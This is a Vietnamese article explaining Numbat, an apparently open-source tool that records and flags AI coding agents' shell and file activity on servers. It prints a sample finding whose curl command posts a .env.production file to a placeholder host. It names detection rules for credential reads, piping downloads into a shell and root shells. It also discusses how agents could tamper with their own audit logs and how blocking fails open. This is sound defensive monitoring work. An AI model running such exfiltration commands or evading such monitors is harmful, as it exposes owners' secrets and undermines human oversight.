Cách giám sát hoạt động của AI agent với Numbat
Numbat giúp bạn theo dõi các lệnh shell và thao tác file của AI agent trên server. Công cụ này phát hiện hành vi truy cập SSH key hoặc pipe dữ liệu nguy hiểm vào shell.
Numbat là gì
Numbat giúp bạn biết một AI agent đã làm gì trên máy mà bạn sở hữu. Công cụ này đọc các hook callback và session file mà các coding agent đã tạo, chuẩn hóa chúng về một định dạng event duy nhất, rồi đối chiếu với các rule kích hoạt khi phát hiện những hành vi như đọc SSH private key hoặc pipe trực tiếp một bản tải xuống vào shell. Perplexity phát hành Numbat dưới dạng mã nguồn mở theo giấy phép Apache 2.0, với bản release đầu tiên được tag vào ngày 29 tháng 7 năm 2026.
Toàn bộ nội dung bên dưới lấy từ repository của dự án và tài liệu chính thức của dự án, được đọc vào ngày 2 tháng 8 năm 2026. Lịch sử release, yêu cầu cài đặt, schema của record và phạm vi hỗ trợ agent đã được kiểm tra lại với repository vào ngày 12 tháng 10 năm 2026. Khi Perplexity đưa ra một nhận định, bài viết này sẽ ghi rõ điều đó. Đây không phải là một hướng dẫn cài đặt, vì repository còn mới và các command của dự án sẽ thay đổi.
Vấn đề: không ai ghi lại agent đã làm gì
Một coding agent trên VPS của bạn chạy các lệnh shell, đọc file, ghi file và mở các kết nối mạng, tất cả đều bằng user mà bạn đã cấp cho nó. Shell history không ghi lại các thao tác đó vì agent không nhập lệnh vào shell của bạn. sshd chỉ log lần đăng nhập của bạn, không ghi lại những gì model quyết định thực hiện sau đó. /var/log/auth.log vẫn im lặng trừ khi có tiến trình truy cập sudo. Agent có transcript riêng, nhưng file đó nằm trong thư mục session của agent, format có thể thay đổi giữa các release, và chính process của agent có thể ghi vào file đó.
Vì vậy, khi có người hỏi agent có đọc .env.production vào thứ Ba tuần trước hay không, câu trả lời trung thực trên hầu hết server là bạn không thể xác định được. Khoảng trống này là lý do project này tồn tại.
Perplexity cho rằng Numbat làm được gì
README mở đầu bằng cách mô tả công cụ này là “khả năng quan sát hoạt động của AI agent trên endpoint, với khả năng phát hiện cục bộ, tùy chọn chặn trước hành động và tái dựng phục vụ điều tra”. Ở đây, endpoint là máy chạy agent, không phải một network appliance theo dõi từ bên ngoài. Đây là các khả năng riêng biệt và mức độ quan trọng của chúng cũng khác nhau.
Detection chạy trên thiết bị. Các rule được viết bằng CEL (common expression language) và được đánh giá cục bộ, bên trên có các rule chuỗi nhiều bước và hỗ trợ rule riêng của bạn trong YAML. Không cần dữ liệu nào rời khỏi máy để một rule được kích hoạt.
Blocking là tùy chọn và có phạm vi hẹp. Tính năng này chỉ hoạt động thông qua synchronous pre-action hook, trên những agent có cung cấp hook đó, và mặc định bị tắt cho đến khi bạn bật.
Reconstruction diễn ra sau khi sự việc đã xảy ra. numbat scan phân tích các session artifact mà agent đã ghi vào disk, vì vậy bạn có thể xem hoạt động xảy ra trước khi cài bất kỳ thành phần nào. Project này giới hạn rõ claim đó: “At-rest reconstruction không phải là disk acquisition hoặc memory acquisition, và không thể khôi phục hoạt động mà agent không lưu lại.”
Output là NDJSON có version (JSON phân tách bằng newline), bao gồm event, finding, quyết định enforcement, indicator và bản tóm tắt scan, với schema version 0.2.0 tại thời điểm v0.1.2. Schema đã thay đổi sau đó: vào 12 October 2026, repository có các schema version 0.2.0, 0.3.0 và 0.4.0, còn các ví dụ record trong README hiển thị version 0.4.0. Record được ghi ra stdout hoặc một local file, và tùy chọn gửi qua HTTP đến collector do bạn vận hành. Công cụ được phát hành dưới dạng một Go binary tĩnh, build không có cgo, cho macOS, Linux và Windows trên amd64 và arm64. Vì vậy, trên Linux VPS, đây là một file duy nhất và không cần cài runtime trước.
Numbat thực sự có thể nhìn thấy những agent nào?
Ma trận coverage trong docs/agent-coverage.md là danh sách chính thức và không đồng đều. Project nêu rõ điều này thay vì che giấu. Claude Code, Codex, Gemini CLI, Cursor và GitHub Copilot CLI đều hỗ trợ quét artifact và live capture bằng pre-action hook. OpenClaw có native plugin từ version 2026.7.1 trở đi. Nhiều entry được đánh dấu deferred. Điều này nghĩa là đã có live hook path nhưng chưa có artifact parser. Nguyên nhân thường là agent đó lưu history trong SQLite bằng write-ahead log, không an toàn khi đọc lúc agent đang chạy. Cline CLI thuộc nhóm này: live hook hoạt động, nhưng các SQLite session của nó không được parse. OpenCode là trường hợp chia tách. Ma trận v0.1.2 parse các JSON store trước đó và chỉ deferred database opencode.db hiện tại. Ma trận không liệt kê pre-action enforcement cho OpenCode. Ma trận trên main vẫn ghi như vậy vào ngày 12 tháng 10 năm 2026.
Hãy kiểm tra row của agent bạn trước khi lập kế hoạch dựa trên tool này, vì “supported” có ý nghĩa khác nhau ở gần như mọi dòng.
Một phát hiện trông như thế nào
Các rule có id cho biết mục đích của chúng. secrets.read_private_key phát hiện key SSH, thông tin xác thực AWS, kube config hoặc thông tin đăng nhập package registry. exec.download_pipe_shell kích hoạt khi output của curl hoặc wget được pipe vào một interpreter. privilege.elevated_shell phát hiện yêu cầu mở root shell tương tác thông qua sudo, doas, su hoặc pkexec. impact.cryptomining_launch khớp với các binary miner và image name đã biết.
Các rule theo chuỗi liên kết những event xảy ra trong cùng một session. chain.secret_read_then_egress yêu cầu có thao tác đọc file chứa secret, sau đó là một command đưa dữ liệu ra ngoài. README công bố finding dưới đây từ lần replay có kiểm soát của hai callback pre-action của Claude Code, không phải từ một sự cố đang diễn ra. Ở đây, finding đã được rút gọn còn các field quan trọng:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Lưu ý "confidence": "medium" nằm bên trong record. Đồng thời, lưu ý cách project mô tả toàn bộ loại output này: "Findings are rule matches, not proof of compromise." Một deploy script đọc key rồi upload build artifact cũng sẽ khớp với cùng sequence rule đó. Match là đúng, nhưng alarm là sai. Đây là trạng thái bình thường của mọi detection tool bạn từng chạy.
Mặc định tính năng block bị tắt và khi lỗi thì hệ thống cho phép tiếp tục
Mọi rule mà Numbat phát hành đều chỉ ở chế độ monitor. Chuyển một rule sang chế độ block cần thực hiện có chủ ý: sao chép toàn bộ YAML của rule vào thư mục riêng, giữ nguyên id, thêm enforce: true, tăng version, sau đó validate và cài policy đó.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceBây giờ là phần quyết định mức độ bạn nên tin cậy tính năng này. Deny của Numbat là một response được gửi lại cho agent, còn agent mới là thành phần thực sự từ chối tool call. Hướng dẫn enforcement nói rõ điều xảy ra khi chính Numbat gặp lỗi: "Payload sai định dạng, lỗi evaluation liên quan, panic và lỗi output sẽ suppress deny của numbat." Input của hook bị giới hạn ở 4 MiB; input vượt quá giới hạn cũng đi theo cùng đường xử lý.
Hướng dẫn cũng nói rõ giới hạn của một deny đã được gửi: "Fail-open nghĩa là numbat không gửi response deny. Điều đó không bảo đảm tool sẽ được thực thi: host vẫn có thể yêu cầu xác nhận, từ chối, hết thời gian chờ hoặc áp dụng hook hay policy khác."
Vì vậy, enforcement ở đây là một lớp bảo vệ, không phải ranh giới bảo mật. Nếu process bị crash, action không bị Numbat block, vì một monitor khiến agent của bạn bị treo mỗi khi nó gặp sự cố sẽ bị gỡ trong vòng một tuần. Đây là một đánh đổi hợp lý. Tuy nhiên, đừng xây dựng security model dựa trên giả định rằng deny luôn được gửi đến.
Numbat bổ sung cho quy trình hiện tại của bạn như thế nào
Numbat chạy trên endpoint, bên trong process tree riêng của agent, và mặc định ghi vào ~/.numbat/records.ndjson. Agent chạy dưới user của bạn có thể đọc file đó. Agent cũng có thể sửa file. Audit trail chỉ có giá trị tương ứng với mức độ isolation bảo vệ nó. Vì vậy, mọi control bạn đang có đều phải nằm trước Numbat, không phải phía sau nó.
Cho coding agent chạy trong một VM dùng một lần giới hạn phạm vi mà một lần chạy lỗi có thể truy cập. Dùng user có least privilege trên VPS ngăn agent mở những file không thuộc phạm vi công việc. Không đưa credential vào context của agent giúp một secrets.read_private_key đủ hiếm để đáng đọc khi nó xuất hiện. Còn sandbox bạn thiết lập cho Claude Code trên VPS vẫn là thành phần thực hiện việc containment. Containment giới hạn những gì một lần chạy lỗi có thể chạm tới, còn ghi lại lý do code được thiết kế theo cách đó làm giảm số lần agent thực hiện điều gì đó bất ngờ đến mức bạn phải kiểm tra log.
Numbat bổ sung bản ghi, vì vậy hãy gửi bản ghi đến nơi agent không thể truy cập. numbat ship và HTTP sink phục vụ việc đó. Một bản sao của stream trên máy thứ hai là ranh giới giữa một log file và bằng chứng. Event model cũng chứa các field MCP (model context protocol), nên các tool call đi qua một MCP server bạn host trên VPS sẽ nằm trong cùng stream với các lệnh shell cục bộ. Điều này quan trọng vì đường đi đó không thể bị phát hiện bởi những thứ chỉ theo dõi bash. Blind spot tương tự cũng áp dụng cho một instance SearXNG được cấu hình làm search backend của agent, nơi rủi ro xuất hiện dưới dạng nội dung trang không đáng tin đi vào context của model, thay vì một lệnh mà rule có thể match.
Trước tiên, hãy thử ở chế độ chỉ đọc
Cài đặt một phiên bản được ghim. Lệnh bên dưới ghim v0.1.2; README của phiên bản này yêu cầu Go 1.26.5 trở lên. README trên nhánh main yêu cầu Go 1.26.6 trở lên vào ngày 12 October 2026. Thay đổi này xuất hiện cùng v0.2.0, vì vậy hãy dùng 1.26.6 nếu bạn ghim một tag mới hơn. Trang releases có các binary dựng sẵn kèm checksum SHA-256 nếu bạn không muốn tự build từ source.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents phát hiện các agent đã cài trên máy. numbat scan phân tích các session artifact đã có trên disk và in ra các record. README nêu rõ các lệnh này “không cài hook hoặc thay đổi cấu hình agent”, đồng thời numbat “không bao giờ thực thi agent hoặc command được tìm thấy trong artifact, và chỉ gửi request ra ngoài đến các HTTP sink đã cấu hình”. Việc scan chỉ đọc và có redaction secret. Output record thông thường không bao giờ chứa toàn bộ raw transcript.
Bước tiếp theo là live capture. Bước này có thay đổi cấu hình agent:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all ghi event, finding, indicator và các quyết định enforcement áp dụng được vào ~/.numbat/records.ndjson. Dự án đưa ra 2 cảnh báo trực tiếp. Hook có thể phải được trust bên trong agent trước khi chạy, và cần review lại trust đó sau khi bạn thay đổi các flag như --enforce. Ngoài ra, hook status “xác minh cấu hình, không xác minh việc thực thi hoặc delivery”, vì vậy một dòng status báo healthy không chứng minh record đang được gửi đến bất kỳ nơi nào.
Vì sao một repository mới như vậy chưa thể là dependency
Tính đến 12 October 2026, các bản public release là v0.1.1 vào 29 July 2026, v0.1.2 vào 1 August 2026 và v0.2.0 vào 17 August 2026. Trang releases đánh dấu v0.2.0 là bản mới nhất. Repository này có 597 stars khi bài viết được viết vào 2 August 2026. Tốc độ tăng này phản ánh audience của Perplexity, không cho biết code hoạt động ổn định đến đâu. Một star chỉ có nghĩa là ai đó đã lưu trang để xem lại sau.
Số version cho thấy khá đúng mức độ trưởng thành của dự án. Ghi chú của v0.1.2 chủ yếu nói về các bản sửa lỗi redaction credential, cùng với việc chuẩn hóa case bundle và telemetry. Ghi chú của v0.2.0 bổ sung việc thu thập message content có giới hạn, enforcement thao tác read-file của Cursor thông qua hook beforeReadFile của nó, cùng nhiều bản sửa lỗi redaction hơn. Các lỗi redaction là dạng lỗi sớm dễ dự đoán ở một tool có nhiệm vụ đọc transcript của các chương trình khác một cách an toàn. Những lỗi như vậy sẽ còn xuất hiện, vì input đến từ hàng chục agent và mỗi agent tự thay đổi format theo lịch riêng.
Có 2 nguyên tắc thực tế cần áp dụng. Hãy pin tag, không dùng @latest, trong mọi thứ bạn lưu giữ. Đồng thời, hãy xem nó là một công cụ đang được đánh giá, không phải một control mà bạn phụ thuộc vào, ít nhất cho đến khi schema của record ổn định. Hiện schema này vẫn chưa ổn định: trong khoảng 10 tuần, nó đã chuyển từ 0.2.0 ở v0.1.2 lên 0.4.0 trong README trên main.
FAQ
Numbat có chặn các command nguy hiểm của AI agent không?
Chỉ khi bạn chủ động bật và chỉ theo cơ chế best effort. Mọi rule đi kèm Numbat đều chỉ ở chế độ monitor. Để chặn, hãy sao chép YAML của rule vào thư mục riêng, giữ nguyên id, thêm enforce: true, tăng version rồi cài hook bằng --enforce. Ngay cả khi đó, deny chỉ là response được gửi lại cho agent, còn agent mới là thành phần từ chối call. Project ghi rõ cơ chế fail-open: payload sai định dạng, lỗi evaluation, panic và lỗi output đều khiến deny bị bỏ qua. Hãy dùng nó như một guardrail, không phải boundary duy nhất.
Numbat hỗ trợ những AI agent nào?
Mức độ hỗ trợ khác nhau tùy agent và được liệt kê trong docs/agent-coverage.md của repository. Khi trang này được đọc vào ngày 2 August 2026, Claude Code, Codex, Gemini CLI, Cursor và GitHub Copilot CLI đều có artifact scanning và live capture; OpenClaw có native plugin từ version 2026.7.1. Nhiều agent khác đã có live hook path nhưng chưa có artifact parser, thường vì session history của chúng nằm trong SQLite database và không an toàn khi đọc trong lúc agent đang chạy. Hãy đọc dòng tương ứng với agent của bạn, vì từ "supported" ở đó bao gồm nhiều mức độ khác nhau.
Agent có thể can thiệp vào record của Numbat không?
Có, nếu agent chạy dưới cùng user. Theo mặc định, record được lưu tại ~/.numbat/records.ndjson trên cùng máy với agent, nên bất kỳ tiến trình nào có quyền write vào path đó đều có thể sửa hoặc xóa chúng. Hãy gửi stream đến collector mà agent không thể truy cập, bằng numbat ship hoặc HTTP sink, và giữ local file làm bản sao tiện dụng. Đây cũng là lý do tool này bổ trợ cho isolation thay vì thay thế isolation. Agent bị giới hạn trong một VM dùng một lần và chạy dưới user có least privilege sẽ khó truy cập audit trail của chính nó hơn nhiều.
Numbat đã sẵn sàng cho production server chưa?
Chưa, nếu bạn định phụ thuộc vào nó như một control. Public release đầu tiên là v0.1.1 vào ngày 29 July 2026, tiếp theo là v0.1.2 vào ngày 1 August 2026 và v0.2.0 vào ngày 17 August 2026. Đến ngày 12 October 2026, record schema trong README đã đạt 0.4.0, nên cả flag lẫn record schema vẫn đang thay đổi. Chạy numbat agents và numbat scan trên một máy chủ là thao tác read-only, rủi ro thấp, đồng thời cho bạn biết các agent đã ghi lại những gì trên disk. Cài enforcement hook trên một server quan trọng là quyết định khác; bạn cần ghim tag cụ thể và có kế hoạch xử lý khi hook hoạt động sai.